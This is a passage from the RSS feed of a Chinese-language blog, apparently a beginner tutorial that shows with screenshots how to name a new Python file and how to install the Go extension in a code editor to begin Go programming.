<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-186" src="https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-26-221151.png" alt="" srcset="https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-26-221151.png 1024w, https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-26-221151-300x225.png 300w, https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-26-221151-768x576.png 768w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></p>
<p>对新建的文件命名，注意要以.py结尾</p>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-187" src="https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-26-221249.png" alt="" srcset="https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-26-221249.png 1024w, https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-26-221249-300x225.png 300w, https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-26-221249-768x576.png 768w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></p>
<p>这样我们就可以开始写代码了</p>
<div class="link-title wow rollIn">配置go开发环境</div>
<p>点击插件栏，在搜索框中输入go，点击第一个插件旁的安装按钮</p>
<p><img loading="lazy" decoding="async" src="https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-29-172727.png" alt="" class="alignnone size-full wp-image-209" srcset="https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-29-172727.png 1024w, https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-29-172727-300x225.png 300w, https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-29-172727-768x576.png 768w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></p>
<p>我们只需要创建一个文件夹并在里面新建一个为.go结尾的文件，即可开始go语言编程</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.from0to1.top/181.html/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
